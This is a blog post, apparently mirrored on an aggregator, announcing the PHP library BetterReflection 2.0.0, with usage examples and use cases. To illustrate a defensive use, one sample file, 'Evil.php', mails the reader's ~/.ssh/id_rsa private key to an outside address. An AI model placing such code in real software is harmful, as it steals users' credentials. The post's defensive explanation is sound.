BetterReflection version 2.0.0 released
source link: https://ocramius.github.io/blog/roave-better-reflection-v2.0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Roave's BetterReflection 2.0.0s was released today!
I and James Titcumb started working on this project back in 2015, and it is a pleasure to see it reaching maturity.
The initial idea was simple: James would implement all my wicked ideas, while I would lay back and get drunk on Drambuie.
Yes, that actually happened. Thank you, James, for all the hard work! 🍻
(I did some work too, by the way!)
What the heck is BetterReflection?
Jokes apart, the project is quite ambitious, and it aims at reproducing the entirety of the PHP reflection API without having any actual autoloading being triggered.
When put in use, it looks like this:
<?php
// src/MyClass.php
namespace MyProject;
class MyClass
{
public function something() {}
}
<?php
// example1.php
use MyProject\MyClass;
use Roave\BetterReflection\BetterReflection;
use Roave\BetterReflection\Reflection\ReflectionMethod;
require_once __DIR__ . '/vendor/autoload.php';
$myClass = (new BetterReflection())
->classReflector()
->reflect(MyClass::class);
$methodNames = \array_map(function (ReflectionMethod $method) : string {
return $method->getName();
}, $myClass->getMethods());
\var_dump($methodNames);
// class was not loaded:
\var_dump(\sprintf('Class %s loaded: ', MyClass::class));
\var_dump(\class_exists(MyClass::class, false));
As you can see, the difference is just in how you bootstrap the reflection API.
Also, we do provide a fully backwards-compatible reflection API that you can use
if your code heavily relies on ext-reflection
:
<?php
// example2.php
use MyProject\MyClass;
use Roave\BetterReflection\BetterReflection;
use Roave\BetterReflection\Reflection\Adapter\ReflectionClass;
require_once __DIR__ . '/vendor/autoload.php';
$myClass = (new BetterReflection())
->classReflector()
->reflect(MyClass::class);
$reflectionClass = new ReflectionClass($myClass);
// You can just use it wherever you had `ReflectionClass`!
\var_dump($reflectionClass instanceof \ReflectionClass);
\var_dump($reflectionClass->getName());
How does that work?
The operational concept is quite simple, really:
- We scan your codebase for files matching the one containing your class. This is fully configurable, but by default we use some ugly autoloader hacks to find the file without wasting disk I/O.
- We feed your PHP file to PHP-Parser
-
We analyse the produced AST and
wrap it in a matching
Roave\BetterReflection\Reflection\*
class instance, ready for you to consume it.
The hard part is tracking the miriad of details of the PHP language, which is very complex and cluttered with scope, visibility and inheritance rules: we take care of it for you.
Use case scenarios
The main use-cases for BetterReflection are most likely around security, code analysis and AOT compilation.
One of the most immediate use-cases will likely be in PHPStan, which will finally be able to inspect hideous mixed OOP/functional/procedural code if the current WIP implementation works as expected.
Since you can now "work" with code before having loaded it, you can harden API around a lot of security-sensitive contexts. A serializer may decide to not load a class if side-effects are contained in the file declaring it:
<?php
// Evil.php
\mail(
'[email protected]',
'All ur SSH keys are belong to us',
\file_get_contents('~/.ssh/id_rsa')
);
// you really don't want to autoload this bad one:
class Evil {}
The same goes for classes implementing malicious __destruct
code,
as well as classes that may trigger autoloading of other malicious code.
It is also possible to analyse code that is downloaded from the internet without actually running it. For instance, code may be checked against GPG signatures in the file signature before being run, effectively allowing PHP to "run only signed code". Composer, anybody?
If you are more into code analysis, you may decide to compare two different versions of a library, and scan for BC breaks:
<?php
// the-library/v1/src/SomeApi.php
class SomeAPI
{
public function sillyThings() { /* ... */ }
}
<?php
// the-library/v2/src/SomeApi.php
class SomeAPI
{
public function sillyThings(UhOh $bcBreak) { /* ... */ }
}
In this scenario, somebody added a mandatory parameter to SomeAPI#sillyThings()
,
effectively introducing a BC break that is hard to detect without having both versions of the
code available, or a good migration documentation (library developers: please document this
kind of change!).
Another way to leverage the power of this factory is to compile factory code into highly optimised dependency injection containers, like PHP-DI started doing.
Future use cases?
In addition to the above use-case scenarios, we are working on additional functionality that would allow changing code before loading it .
Is that a good idea?
... I honestly don't know.
Still, there are proper use-case scenarios around
AOP and proxying libraries,
which would then be able to work even with final
classes.
You will likely see these features appear in a new, separate library.
Credits
To conclude, I would like to thank James Titcumb, Jaroslav HanslĂk, Marco Perone and Viktor Suprun for the effort they put in this release, providing patches, improvements and overall helping us building something that may become extremely useful in the PHP ecosystem.
Recommend
-
91
README.md Better Reflection
-
48
-
30
Version 1.0 released 30 September 2019 • Nick O'Leary We published the roadmap to get us to this point tw...
-
24
QEMU version 4.2.0 released 13 Dec 2019 We would like to announce the availability of the QEMU 4.2.0 release. This release contains 2200+ commits from 198 authors. You can grab the tarb...
-
22
Try the jc web demo! I’m happy to announce that jc version 1.7.1 has been released and is available on
-
36
Github CLI 1.0 is out of the beta and released the V 1.0 available for download for Windows, macOS, Linux Release Date: 12 September 2020 | Geekstrick - News
-
8
Lokad.Cloud - alpha version released One of the major little-known weakness of cloud computing is development productivity. Indeed, developing over the cloud ain’t easy, and as complexity goes, the man...
-
2
ResxEditor reloaded - version 1.2 released They were a couple of long standing issues with ResxEditor. Most of them were actually reported as comments on the blog post of the i...
-
3
The update improves overall playability for Fortnite   Fortnite Intel has rolled out a new version of its High Definiti...
-
6
We’ve just released version 0.11.13 of our AppSignal gem with tons of changes. Padrino support Padrino is a Ruby framework built upon the Sinatra web library....
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK